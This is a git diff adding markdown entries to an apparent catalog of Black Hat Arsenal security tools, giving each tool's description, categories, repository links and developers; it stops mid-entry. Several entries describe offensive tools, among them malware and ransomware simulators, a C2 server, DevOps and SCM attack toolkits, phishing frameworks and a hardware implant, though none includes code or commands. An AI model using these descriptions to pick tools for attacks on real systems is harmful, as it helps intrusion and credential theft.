src="https://rawgit.com/toolswatch/badges/master/arsenal/asia/2018.svg"></a>++#### Code++https://github.com/WiPi-Hunter++#### Lead Developer++Besim ALTINOK+++ https://twitter.com/altnokbesim++ https://github.com/besimaltnok++#### Arsenal Presenters (Blackhat Europe'17)+++ Mustafa ALTINKAYNAK++ Besim ALTINOK++#### Arsenal Presenters (Blackhat ASIA'18)+++ Mehmet Kutlay KOÇER++ Besim ALTINOK++#### Social Media+++ https://twitter.com/wipihunter++#### Demo Videos+++ https://www.youtube.com/playlist?list=PLwHi7Vsh6TpPm0Ax5bP-jWGAJR0WK_Ok0++ https://www.youtube.com/playlist?list=PLwHi7Vsh6TpNrCX87KRzO9WVtHmqqC2aBdiff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/zenected.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/zenected.mdnew file mode 100644index 0000000..fd45eb8--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/zenected.md@@ -0,0 +1,43 @@+# Zenected Threat Defense VPN++### Description+__Zenected__ is a cloud based security threat protection service. It’s delivered through a set of pre-configured services. Once a user connects to the __Zenected__, that user’s network traffic is filtered to keep the bad things out (e.g. phishing sites, malware). The only thing this a user has to configure on the endpoint device (be it a mobile device, a desktop or laptop or IoT device) is a VPN connection.++All services are updated every hour with a new set of threat indicators prepared by Perun Works.++__Zenected__ is easy to manage. It uses a web front-end for administrators to manage your instance. An administrator user can:+- manage __Zenected__ users including adding more admin users+- blacklist URLs or domain names that you don't want your users to access+- whitelist URLs or domain names, that were identified as malicious but you still want your users to be able to get to them+- review exception requests from users++If you are a __Zenected__ end-user what you will like about it, is:+- no need to install additional software on your mobile phone, tablet or laptop – __Zenected__ uses standard OS features build-in into all modern systems+- if you encounter a certain resource blocked by the system, you can request an exception. Each exception is then reviewed by an administrator.++For more info and resources visit: https://zenected.com++### Categories+* Network Defense+* Hardening+++### Black Hat sessions+[](https://www.toolswatch.org/2017/02/the-black-hat-arsenal-asia-2017-great-line-up/)+++### Code+https://github.com/perunworks/zenected++### Lead Developer+ Tomasz Jakubowski @ Perun Works https://github.com/perunworks++### Social Media+* [Twitter](https://twitter.com/perunhimself)+* [Facebook](https://www.facebook.com/Perun-Works-1605484713040277/)+* [LinkedIn](https://www.linkedin.com/company-beta/10580623/)+* [Company Website](https://www.perunworks.com/)+----+++diff --git a/Penetration Testing/Blackhat Arsenal Tools/osint/datasploit.md b/Penetration Testing/Blackhat Arsenal Tools/osint/datasploit.mdnew file mode 100644index 0000000..4e22510--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/osint/datasploit.md@@ -0,0 +1,50 @@+# DataSploit - OSINT Framework++[](http://www.toolswatch.org/2017/02/2016-top-security-tools-as-voted-by-toolswatch-org-readers/)++### Description+An #OSINT Framework to perform various recon techniques, aggregate all the raw data, and give data in multiple formats.++### Code+https://github.com/datasploit/datasploit++# Overview of the tool:+* Performs OSINT on a domain / email / username / phone and find out information from different sources.+* Correlates and collaborate the results, show them in a consolidated manner.+* Tries to find out credentials, api-keys, tokens, subdomains, domain history, legacy portals, etc. related to the target.+* Use specific script / launch automated OSINT for consolidated data.+* Performs Active Scans on collected data.+* Generates HTML, JSON reports along with text files.++### Categories+* Open Source Intelligence+* Penetration Testing+* Threat Intelligence++### Presented At:+[DEFCON 25 ReconVillage](http://reconvillage.org/)++[DEFCON 24 Demolabs](https://www.defcon.org/html/defcon-24/dc-24-demolabs.html)++[](http://www.toolswatch.org/2017/09/black-hat-arsenal-europe-2017-lineup/)++[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++[](http://www.toolswatch.org/2017/02/the-black-hat-arsenal-asia-2017-great-line-up/)++[](http://www.toolswatch.org/2016/09/the-black-hat-arsenal-europe-2016-line-up/)++[](http://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/)++### Documentation+https://datasploit.github.io/datasploit/++### Lead Developers+* Shubham Mittal - https://github.com/upgoingstar+* Sudhanshu Chauhan - https://github.com/sudhanshu_c+* Kunal Aggarwal - https://github.com/aggkunal++### Social Media+* [Official Website](https://datasploit.github.io/datasploit/)+* [Twitter](https://twitter.com/datasploit)+* [Facebook](https://facebook.com/datasploit)\ No newline at end of filediff --git a/Penetration Testing/Blackhat Arsenal Tools/osint/dorkify.md b/Penetration Testing/Blackhat Arsenal Tools/osint/dorkify.mdnew file mode 100644index 0000000..b7a6465--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/osint/dorkify.md@@ -0,0 +1,23 @@++# Dorkify++### Description+Perform Google Dork search with Dorkify++### Categories+* Google Dorks+* Vulnerability Scanning+* OSINT++### Black Hat sessions+Insert your badge.+++Check the valid links and badges in **badge**++### Code+https://github.com/hhhrrrttt222111/Dorkify++### Lead Developer(s)+ hhhrrrttt222111 - https://github.com/hhhrrrttt222111+diff --git a/Penetration Testing/Blackhat Arsenal Tools/osint/trape.md b/Penetration Testing/Blackhat Arsenal Tools/osint/trape.mdnew file mode 100644index 0000000..98e6015--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/osint/trape.md@@ -0,0 +1,27 @@+trape+========++People tracker on the Internet: Learn to track the world, to avoid being traced.++---++### Description+Trape is a OSINT analysis and research tool, which allows people to track and execute intelligent social engineering attacks in real time. It was created with the aim of teaching the world how large Internet companies could obtain confidential information such as the status of sessions of their websites or services and control over their users through the browser, without them knowing, but It evolves with the aim of helping government organizations, companies and researchers to track the cybercriminals.++### Categories+* Capturing credentials+* Open Source Intelligence (**OSINT**)+* Phishing++### Black Hat sessions+[](https://www.toolswatch.org/2018/01/black-hat-arsenal-asia-2018-great-lineup/)++### Code+https://github.com/jofpin/trape++### Developers+* Jose Pino - [@jofpin](https://twitter.com/jofpin) - (**Security Researcher**)++### Social Media+* [Twitter](https://twitter.com/jofpin)+----diff --git a/Penetration Testing/Blackhat Arsenal Tools/phishing/spf.md b/Penetration Testing/Blackhat Arsenal Tools/phishing/spf.mdnew file mode 100644index 0000000..9366ff6--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/phishing/spf.md@@ -0,0 +1,20 @@+# SPF - SpeedPhishing Framework++### Description+SPF (SpeedPhish Framework) is a python tool designed to allow for quick recon and deployment of simple social engineering phishing exercises.++### Categories+* Phishing+* Frameworks++### Black Hat sessions+[](https://www.toolswatch.org/2015/06/black-hat-arsenal-usa-2015-speakers-lineup/)++### Code+https://github.com/tatanus/SPF++### Lead Developer+Adam Compton - https://github.com/tatanus++### Social Media+* [Twitter](https://twitter.com/tatanus)diff --git a/Penetration Testing/Blackhat Arsenal Tools/phishing/squarephish.md b/Penetration Testing/Blackhat Arsenal Tools/phishing/squarephish.mdnew file mode 100644index 0000000..2a06ac3--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/phishing/squarephish.md@@ -0,0 +1,23 @@+# SquarePhish++### Description+SquarePhish is an advanced phishing tool that uses a technique combining the OAuth Device code authentication flow and QR codes.++### Categories+* Phishing++### Black Hat sessions+[](https://www.blackhat.com/eu-22/arsenal/schedule/)+[](https://www.blackhat.com/us-22/arsenal/schedule/)++### Code+[https://github.com/secureworks/squarephish](https://github.com/secureworks/squarephish)++### Lead Developers+Nevada Romsdahl - https://github.com/nromsdahl++Kam Talebzadeh - https://github.com/0xZDH++### Social Media+* [Twitter - Nevada Romsdahl](https://twitter.com/nevadaromsdahl)+* [Twitter - Kam Talebzadeh](https://twitter.com/0xZDH)diff --git a/Penetration Testing/Blackhat Arsenal Tools/red_team/adokit.md b/Penetration Testing/Blackhat Arsenal Tools/red_team/adokit.mdnew file mode 100644index 0000000..ed861b6--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/red_team/adokit.md@@ -0,0 +1,21 @@+# ADOKit++### Description+Azure DevOps Services Attack Toolkit - ADOKit is a toolkit that can be used to attack Azure DevOps Services by taking advantage of the available REST API. The tool allows the user to specify an attack module, along with specifying valid credentials (API key or stolen authentication cookie) for the respective Azure DevOps Services instance. The attack modules supported include reconnaissance, privilege escalation and persistence. ADOKit was built in a modular approach, so that new modules can be added in the future by the information security community.++### Categories+* Red Team++### Black Hat sessions++[](https://www.blackhat.com/us-24/arsenal/schedule/index.html#adokit-azure-devops-services-attack-toolkit-38148)+++### Code+https://github.com/xforcered/ADOKit++### Lead Developer(s)+Brett Hawkins - h4wkst3r https://github.com/h4wkst3r++### Social Media+* [Twitter](https://twitter.com/h4wkst3r)diff --git a/Penetration Testing/Blackhat Arsenal Tools/red_team/legion.md b/Penetration Testing/Blackhat Arsenal Tools/red_team/legion.mdnew file mode 100644index 0000000..71a291a--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/red_team/legion.md@@ -0,0 +1,20 @@+# Legion++### Description+At its core, Legion is a distributed computing application. It is written in python and designed from the ground up to fulfill various IT related needs. Whether you need a way to logically distribute large or complex commands across multiple systems, or if you need a way to remotely administer 1 or more other systems, Legion can help. Legion goes beyond a typical Master/Manager/Slave architecture and makes use of a MeshNetworking approach to help to dynamically route around failed nodes and networking issues. Additionally, it has the ability to allow remote shell access to any node as well as send individual commands to 1 or all of the nodes within the mesh. And of course all the communications are encrypted between the nodes.++### Categories+* Red Team++### Black Hat sessions+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/MooseDojo/Legion++### Lead Developers+* Adam Compton - https://github.com/tatanus https://github.com/MooseDojo+* Bill Harshbarger - https://github.com/bharshbarger https://github.com/MooseDojo++### Social Media+* [Twitter](https://twitter.com/tatanus)diff --git a/Penetration Testing/Blackhat Arsenal Tools/red_team/merlin.md b/Penetration Testing/Blackhat Arsenal Tools/red_team/merlin.mdnew file mode 100644index 0000000..38d5878--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/red_team/merlin.md@@ -0,0 +1,31 @@+# Merlin++### Description+<p align="center">+ <img src="https://i.imgur.com/4iKuvuj.jpg" height="30%" width="30%">+</p>++Merlin is a cross-platform post-exploitation HTTP/2 Command & Control+server and agent written in golang.++An introductory blog post can be found here:+https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a++### Categories+* Command & Control+* Post Exploitation+* HTTP/2++### Black Hat sessions+[](https://www.toolswatch.org/2018/05/black-hat-arsenal-usa-2018-the-w0w-lineup/)++### Code+https://github.com/Ne0nd0g/merlin++### Lead Developer(s)+ Russel Van Tuyl (@Ne0nd0g)++### Social Media+* [Twitter](https://twitter.com/Ne0nd0g)+* [Blog](https://medium.com/@Ne0nd0g)+----diff --git a/Penetration Testing/Blackhat Arsenal Tools/red_team/scmkit.md b/Penetration Testing/Blackhat Arsenal Tools/red_team/scmkit.mdnew file mode 100644index 0000000..fd78589--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/red_team/scmkit.md@@ -0,0 +1,21 @@+# SCMKit++### Description+**S**ource **C**ode **M**anagement Attack Tool**kit** - SCMKit is a toolkit that can be used to attack SCM systems. SCMKit allows the user to specify the SCM system and attack module to use, along with specifying valid credentials (username/password or API key) to the respective SCM system. Currently, the SCM systems that SCMKit supports are GitHub Enterprise, GitLab Enterprise and Bitbucket Server. The attack modules supported include reconnaissance, privilege escalation and persistence. SCMKit was built in a modular approach, so that new modules and SCM systems can be added in the future by the information security community.++### Categories+* Red Team++### Black Hat sessions++[](https://www.blackhat.com/us-22/arsenal/schedule/index.html#scmkit-source-code-management-attack-toolkit-26592)+++### Code+https://github.com/xforcered/SCMKit++### Lead Developer(s)+Brett Hawkins - h4wkst3r https://github.com/h4wkst3r++### Social Media+* [Twitter](https://twitter.com/h4wkst3r)diff --git a/Penetration Testing/Blackhat Arsenal Tools/red_team/shinobot.md b/Penetration Testing/Blackhat Arsenal Tools/red_team/shinobot.mdnew file mode 100644index 0000000..1769b4c--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/red_team/shinobot.md@@ -0,0 +1,52 @@+# ShinoBOT Family++### Description+ShinoBOT Family is a malware set to test the security solution / security posture of the organization.++#### [ShinoBOT](https://shinobot.com)+Backdoor simulator+* customizable on-the-fly+* C&C as a service+* domain randomize (DGA)+* command template++#### [ShinoBOT Suite](http://shinosec.com/shinobotsuite/)+APT simulator to perform a full scenario+* the ShinoBOT embedded in the JPG file+* decoy file+* downloader / dropper+* shortcut attack++#### [ShinoLocker](http://shinolocker.com/)+Ransomware Simulator+* AES 128bit+* Free key exchange (no BitCoin to decrypt the file)+* customizable++#### [ShinoBOT.ps1](http://shinobotps1.com/)+* ShinoBOT powershell edition+* "Fileless" malware++### Categories+* Penetration Testing / Red Team++### Black Hat sessions++ [](https://www.toolswatch.org/2013/06/announcement-blackhat-arsenal-usa-2013-selected-tools/)+ [](https://www.toolswatch.org/2014/06/black-hat-usa-2014-arsenal-tools-speaker-list/)+ [](https://www.toolswatch.org/2015/03/black-hat-asia-2015-arsenal-speaker-list/)+ [](https://www.toolswatch.org/2015/06/black-hat-arsenal-usa-2015-speakers-lineup/)+ [](https://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/)+ [](https://www.toolswatch.org/2016/03/black-hat-arsenal-asia-2016-speakers-line-up/)++### Code+https://github.com/Sh1n0g1/ShinoBOT++### Lead Developer(s)+ Shota Shinogi (@Sh1n0g1)++### Social Media+* [Twitter](https://twitter.com/Sh1n0g1)+++diff --git a/Penetration Testing/Blackhat Arsenal Tools/red_team/warberrypi.md b/Penetration Testing/Blackhat Arsenal Tools/red_team/warberrypi.mdnew file mode 100644index 0000000..f1e3b5f--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/red_team/warberrypi.md@@ -0,0 +1,26 @@+# WarBerryPi++### Description+WarBerryPi was built to be used as a hardware implant during red teaming scenarios where we want to obtain as much information as possible in a short period of time with being as stealth as possible. Just find a network port and plug it in. The scripts have been designed in a way that the approach is targeted to avoid noise in the network that could lead to detection and to be as efficient as possible. The WarBerry script is a collection of scanning tools put together to provide that functionality.++### Categories+* Red Teaming+* Hardware Implant++### Black Hat sessions++ [](https://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/)+[](https://www.toolswatch.org/2016/09/the-black-hat-arsenal-europe-2016-line-up/)++### Popularity++[](https://www.toolswatch.org/2017/02/2016-top-security-tools-as-voted-by-toolswatch-org-readers/)++### Code+https://github.com/secgroundzero/warberry++### Lead Developer+ Yiannis Ioannides - https://github.com/secgroundzero/warberry++### Social Media+* [Twitter](https://twitter.com/sec_groundzero)diff --git a/Penetration Testing/Blackhat Arsenal Tools/reverse_engineering/fileinsight-plugins.md b/Penetration Testing/Blackhat Arsenal Tools/reverse_engineering/fileinsight-plugins.mdnew file mode 100644index 0000000..f9b06d4--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/reverse_engineering/fileinsight-plugins.md@@ -0,0 +1,39 @@+# FileInsight-plugins++### Description+FileInsight-plugins is a large set of plugins for McAfee FileInsight hex editor. It adds many capabilities such as decode, decryption, decompression, searching XOR-ed text strings, scanning with a YARA rule, code emulation, disassembly, and more! It is useful for various kinds of decoding tasks in malware analysis (such as extracting malware executable files from malicious document files, deobfuscation of malicious scripts).++Currently, FileInsight-plugins has 116 plugins. The plugins provide the following functions and many other functions.++- Calculation of hash values (CRC32, MD5, SHA1, SHA256, ssdeep, imphash, impfuzzy)+- Search for XORed, bit-rotated text strings and byte arrays+- XOR while incrementing / decrementing XOR key (rolling XOR)+- Encode and decode of BASE16, BASE32, BASE58, BASE64, BASE85 with custom tables+- Encryption and decryption (AES, ARC2, ARC4, Blowfish, ChaCha20, DES, Salsa20, TEA, Triple DES, XTEA)+- Compression and decompression (aPLib, Bzip2, Deflate, Gzip, LZ4, LZMA, LZNT1, LZO, PPMd, QuickLZ, XZ, Zstandard)+- Detection of embedded files in a file+- Extraction of text strings of ASCII and UTF-16 with auto decode of hex string and BASE64 strings+- Scanning with YARA and highlighting regions that match YARA rules+- Showing file metadata+- Parsing file structure (Gzip, RAR, ZIP, ELF, PE, MBR partition table, BMP, GIF, JPEG, PNG, Windows shortcut)+- Code emulation of shellcodes and executable files (Windows (x64, x86) and Linux (x64, x86, ARM, ARM64, MIPS)) with API call tracing and capturing memory dumps+- Disassembly (x64, x86, ARM, ARM64, MIPS, PowerPC, PowerPC64, SPARC)+- Opening data with other tools such as CyberChef, IDA, and VSCode (customizable with JSON config file).+- Visualization (Bitmap, Byte histogram, Entropy graph)++FileInsight-plugins is a tool that I develop privately, not professionally developed by the organization I belong to.++### Categories+Reverse Engineering++### Black Hat sessions+[](https://www.blackhat.com/us-21/arsenal/schedule/#fileinsight-plugins-decoding-toolbox-of-mcafee-fileinsight-hex-editor-for-malware-analysis-23386)++### Code+https://github.com/nmantani/FileInsight-plugins/++### Lead Developer+Nobutaka Mantani - https://github.com/nmantani++### Social Media+* [Twitter](https://twitter.com/nmantani)diff --git a/Penetration Testing/Blackhat Arsenal Tools/reverse_engineering/ox4shell.md b/Penetration Testing/Blackhat Arsenal Tools/reverse_engineering/ox4shell.mdnew file mode 100644index 0000000..b607032--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/reverse_engineering/ox4shell.md@@ -0,0 +1,38 @@+# Ox4Shell++### Description+Since the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare.++Threat actors tend to apply obfuscation techniques to their payloads for several reasons. Most security protection tools, such as web application firewalls (WAFs), rely on rules to match malicious patterns. By using obfuscated payloads, threat actors are able to circumvent the rules logic and bypass security measures. Moreover, obfuscated payloads increase analysis complexity and, depending upon the degree of obfuscation, can also prevent them from being reverse-engineered.++Decoding and analyzing obfuscated payloads is time-consuming and often results in inaccurate data. However, doing so is crucial for understanding attackers' intentions.++We believe that security teams around the world can benefit from using Ox4Shell to dramatically reduce their analysis time. To help the security community, we have decided to release Ox4Shell - a payload deobfuscation tool that would make your life much easier.++### Categories+* Reverse Engineering+* Data Forensics+* Incident Response++### Black Hat sessions++[](https://www.blackhat.com/us-22/arsenal/schedule/index.html#oxshell---deobfuscate-logshell-payloads-with-ease-2799)+++### Code+https://github.com/ox-eye/Ox4Shell++### Lead Developers+#### ⭐ Daniel Abeles+* [Github](https://github.com/Den1al)+* [Twitter](https://twitter.com/daniel_abeles)+* [LinkedIn](https://www.linkedin.com/in/daniel-abeles/)++#### ⭐ Ron Vider+* [Github](https://github.com/RonVider)+* [Twitter](https://twitter.com/ron_vider)+* [LinkedIn](https://www.linkedin.com/in/ron-vider/)++### Social Media+* [Company Website](https://oxeye.io)+* [Blog post](https://www.oxeye.io/ox4shell-deobfuscate-log4shell)diff --git a/Penetration Testing/Blackhat Arsenal Tools/reverse_engineering/packet_sender.md b/Penetration Testing/Blackhat Arsenal Tools/reverse_engineering/packet_sender.mdnew file mode 100644index 0000000..d3c3982--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/reverse_engineering/packet_sender.md@@ -0,0 +1,35 @@+# Packet Sender++### Description+Packet Sender is a free open-source (GPLv2) cross-platform (Windows, Mac, Linux) tool used daily by security researchers, college students, and professional developers to troubleshoot and reverse engineer network-based devices. Its core features are crafting and listening for UDP, TCP, and SSL/TLS packets via IPv4 or IPv6. It can listen simultaneously on any number of ports while sending to any UDP, TCP, SSL/TLS packet server.++Many deliberate design features help Packet Sender's success: It can send and reply; it supports IPv4, IPv6, general, or IP-specific binding; it can run completely portable (for thumb drives); it can operate entirely in userland; it has very few build dependencies (to be able to support nearly all the Linux distros); and it has a very responsive and easy to use GUI with good defaults and ASCII/HEX translator to immediately send/receive packets within seconds of first launching.++There are many uses for Packet Sender:+* Control devices beyond their original apps+* Developing / Reverse Engineering Network APIs+* Automation (through CLI)+* Malware analysis+* Testing network connectivity/firewalls+* Security Tests (SSL)+* Tech support (portable Packet Sender)+++### Categories+* Reverse Engineering+* Network Attacks+++### Black Hat sessions+[](https://www.blackhat.com/us-21/arsenal/schedule/index.html#packet-sender-24082)+++### Code+https://github.com/dannagle/PacketSender/++### Lead Developer+Dan Nagle - https://github.com/dannagle++### Social Media+* [Twitter](https://twitter.com/NagleCode)+* [LinkedIn](https://www.linkedin.com/in/dannagle)diff --git a/Penetration Testing/Blackhat Arsenal Tools/tool_name.md b/Penetration Testing/Blackhat Arsenal Tools/tool_name.mdnew file mode 100644index 0000000..89f96d8--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/tool_name.md@@ -0,0 +1,115 @@+**THIS IS A SAMPLE. MODIFY THE INFORMATION TO REFLECT YOUR TOOL. HEY, REMOVE THIS WARNING BEFORE SUBMISSION**++**DO NOT REMOVE THIS FILE**+# Lynis++### Description+Lynis is a security auditing for UNIX derivatives like Linux, macOS, BSD, and others. It performs an in-depth security scan and runs on the system itself. The primary goal is to test security defenses and provide tips for further system hardening. It will also scan for general system information, vulnerable software packages, and possible configuration issues. Lynis was commonly used by people in the "blue team" to assess the security defenses of their systems. Nowadays, penetration testers also have Lynis in their toolkit.++### Categories+* Hardening+* Vulnerability assessment++### Black Hat sessions+Insert your badge.++Example:++[](https://www.toolswatch.org/2014/09/lineup-for-the-blackhat-arsenal-europe-2014/)+[](https://www.toolswatch.org/2015/06/black-hat-arsenal-usa-2015-speakers-lineup/)++Check the valid links and badges in **badge**++### Popularity++ToolsWatch Annual Best Free/Open Source Security Tool Survey:++[](https://www.toolswatch.org/2013/12/2013-top-security-tools-as-voted-by-toolswatch-org-readers)+[](https://www.toolswatch.org/2015/01/2014-top-security-tools-as-voted-by-toolswatch-org-readers)+[](https://www.toolswatch.org/2016/02/2015-top-security-tools-as-voted-by-toolswatch-org-readers)+[](https://www.toolswatch.org/2017/02/2016-top-security-tools-as-voted-by-toolswatch-org-readers)++Check the valid links and badges in **badge**++### Code+https://github.com/CISOfy/lynis++### Lead Developer(s)+ Michael Boelen - Cisofy https://github.com/CISOfy++### Social Media+* [Twitter](https://twitter.com/mboelen)+* [Company Website](https://cisofy.com/)+----+++### Badge+#### Arsenal+Once the links and badges selected. You can remove this section Badge before submission.++Badges (https://github.com/toolswatch/badges/tree/master/arsenal) are organized per session and per year (USA, EUROPE and ASIA).++* 2011+ * USA: https://www.toolswatch.org/blackhat-arsenal-us-2011-archive/++* 2010+ * USA: https://www.toolswatch.org/blackhat-arsenal-us-2012-archive/+ * Europe: https://www.toolswatch.org/blackhat-arsenal-europe-2012/++* 2013:+ * USA: https://www.toolswatch.org/2013/06/announcement-blackhat-arsenal-usa-2013-selected-tools/+ * Europe: https://www.toolswatch.org/2013/02/selected-tools-for-blackhat-arsenal-europe-2013/++* 2014:+ * USA: https://www.toolswatch.org/2014/06/black-hat-usa-2014-arsenal-tools-speaker-list/+ * Europe: https://www.toolswatch.org/2014/09/lineup-for-the-blackhat-arsenal-europe-2014/++* 2015:+ * USA: https://www.toolswatch.org/2015/06/black-hat-arsenal-usa-2015-speakers-lineup/+ * Europe: https://www.toolswatch.org/2015/10/black-hat-arsenal-europe-2015-line-up/+ * Asia: https://www.toolswatch.org/2015/03/black-hat-asia-2015-arsenal-speaker-list/++* 2016:+ * USA: https://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/+ * Europe: https://www.toolswatch.org/2016/09/the-black-hat-arsenal-europe-2016-line-up/+ * Asia: https://www.toolswatch.org/2016/03/black-hat-arsenal-asia-2016-speakers-line-up/++* 2017:+ * USA: https://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/+ * Europe: https://www.toolswatch.org/2017/09/black-hat-arsenal-europe-2017-lineup/+ * Asia: https://www.toolswatch.org/2017/02/the-black-hat-arsenal-asia-2017-great-line-up/++* 2018:+ * Asia: https://www.toolswatch.org/2018/01/black-hat-arsenal-asia-2018-great-lineup/++#### ToolsWatch Survey++* 2013:+ * link: https://www.toolswatch.org/2013/12/2013-top-security-tools-as-voted-by-toolswatch-org-readers/+ * badge: https://github.com/toolswatch/badges/blob/master/toptools/2013.svg++* 2014:+ * link: https://www.toolswatch.org/2015/01/2014-top-security-tools-as-voted-by-toolswatch-org-readers/+ * badge: https://github.com/toolswatch/badges/blob/master/toptools/2014.svg++* 2015:+ * link: https://www.toolswatch.org/2016/02/2015-top-security-tools-as-voted-by-toolswatch-org-readers/+ * badge: https://github.com/toolswatch/badges/blob/master/toptools/2015.svg++* 2016:+ * link: https://www.toolswatch.org/2017/02/2016-top-security-tools-as-voted-by-toolswatch-org-readers/+ * badge: https://github.com/toolswatch/badges/blob/master/toptools/2016.svg++If your tool was ranked 1st, consider using the following badges:++* 2013:+ * badge: https://github.com/toolswatch/badges/blob/master/toptools/rank1_2013.svg++* 2014:+ * badge: https://github.com/toolswatch/badges/blob/master/toptools/rank1_2014.svg++* 2015:+ * badge: https://github.com/toolswatch/badges/blob/master/toptools/rank1_2015.svg++* 2016:+ * badge: https://github.com/toolswatch/badges/blob/master/toptools/rank1_2016.svgdiff --git a/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/apt2.md b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/apt2.mdnew file mode 100644index 0000000..fc8c0a9--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/apt2.md@@ -0,0 +1,44 @@++# APT2 - An Automated Penetration Testing Toolkit++### Description+```+ dM. `MMMMMMMb. MMMMMMMMMM+ ,MMb MM `Mb / MM \+ d'YM. MM MM MM ____+ ,P `Mb MM MM MM 6MMMMb+ d' YM. MM .M9 MM MM' `Mb+ ,P `Mb MMMMMMM9' MM ,MM+ d' YM. MM MM ,MM'+ ,MMMMMMMMb MM MM ,M'+ d' YM. MM MM ,M'+ _dM_ _dMM_MM_ _MM_MMMMMMMM+++ An Automated Penetration Testing Toolkit+```+This tool will perform an NMap scan, or import the results of a scan from Nexpose, Nessus, or NMap. The processesd results will be used to launch exploit and enumeration modules according to the configurable Safe Level and enumerated service information.++All module results are stored on localhost and are part of APT2's Knowledge Base (KB). The KB is accessible from within the application and allows the user to view the harvested results of an exploit module.++### Categories+* Vulnerability assessment+* Exploitation+* Frameworks++### Black Hat sessions+[](https://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/)+[](https://www.toolswatch.org/2016/09/the-black-hat-arsenal-europe-2016-line-up/)+[](https://www.toolswatch.org/2018/01/black-hat-arsenal-asia-2018-great-lineup/)++### Code+current: https://github.com/tatanus/apt2+original: https://github.com/MooseDojo/apt2++### Main developer+* Adam Compton - https://github.com/tatanus+* Austin Lane - https://github.com/aglane++### Social Media+* [Twitter - Adam Compton](https://twitter.com/tatanus)+* [Twitter - Austin Lane](https://twitter.com/capndan)diff --git a/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/archery.md b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/archery.mdnew file mode 100644index 0000000..151ca36--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/archery.md@@ -0,0 +1,42 @@+# Archery+++### Description+Archery is an opensource vulnerability assessment and management tool which helps developers and pentesters to perform scans and manage vulnerabilities. Archery uses popular opensource tools to perform comprehensive scanning for web application and network. It also performs web application dynamic authenticated scanning and covers the whole applications by using selenium. The developers can also utilize the tool for implementation of their DevOps CI/CD environment.++### Code+https://github.com/archerysec/archerysec++# Overview of the tool:+* Perform Web and Network vulnerability Scanning using opensource tools.+* Correlates and Collaborate all raw scans data, show them in a consolidated manner.+* Perform authenticated web scanning.+* Perform web application scanning using selenium.+* Vulnerability Management.+* Enable REST API's for developers to perform scanning and Vulnerability Management.+* JIRA Ticketing System.+* Sub domain discovery and scanning.+* Periodic scans.+* Concurrent scans.+* Useful for DevOps teams for Vulnerability Management.+++### Categories+* Vulnerability Assessment++### Black Hat sessions+[](http://www.toolswatch.org/2018/05/black-hat-arsenal-usa-2018-the-w0w-lineup/)++[](https://www.blackhat.com/asia-18/arsenal/schedule/#archery---open-source-vulnerability-assessment-and-management-9837)++### Documentation+* [https://docs.archerysec.info/](https://docs.archerysec.info/)+* [API Doc](https://developers.archerysec.info/)++### Lead Developer(s)+* Anand Tiwari - https://github.com/anandtiwarics++### Social Media+* [Official Website](https://archerysec.github.io/archerysec/)+* [Twitter](https://twitter.com/archerysec)+* [Facebook](https://facebook.com/archerysec)diff --git a/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/blackdagger.md b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/blackdagger.mdnew file mode 100644index 0000000..33b9851--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/blackdagger.md@@ -0,0 +1,39 @@+# Blackdagger++### Description+Blackdagger represents a significant advancement, offering a comprehensive solution for orchestrating complex workflows in DevOps, DevSecOps, MLOps, MLSecOps, and Continuous Automated Red Teaming (CART) environments. At its core, Blackdagger simplifies the management and execution of intricate workflows through its user-friendly approach and powerful functionality. Leveraging a declarative YAML format, Blackdagger enables users to define automation pipelines using a Directed Acyclic Graph (DAG), facilitating clear and concise expression of task dependencies and execution logic.++What sets Blackdagger apart is its simplicity and versatility. Unlike traditional cron-based schedulers or workflow orchestration platforms, Blackdagger eliminates the need for extensive scripting or coding. With a built-in Web UI, users can easily manage, rerun, and monitor automation pipelines in real-time, streamlining the workflow management process. Additionally, Blackdagger offers native Docker support, enabling seamless integration with containerized environments, and a versatile toolset for task execution, including making HTTP requests and executing commands over SSH.+Blackdagger stands out due to its comprehensive features aimed at simplifying and enhancing automation workflow management.++### Highlights of Blackdagger++* Single binary file installation+* Declarative YAML format for defining DAGs+* Web UI for visually managing, rerunning, and monitoring pipelines+* Use existing programs without any modification+* Self-contained, with no need for a 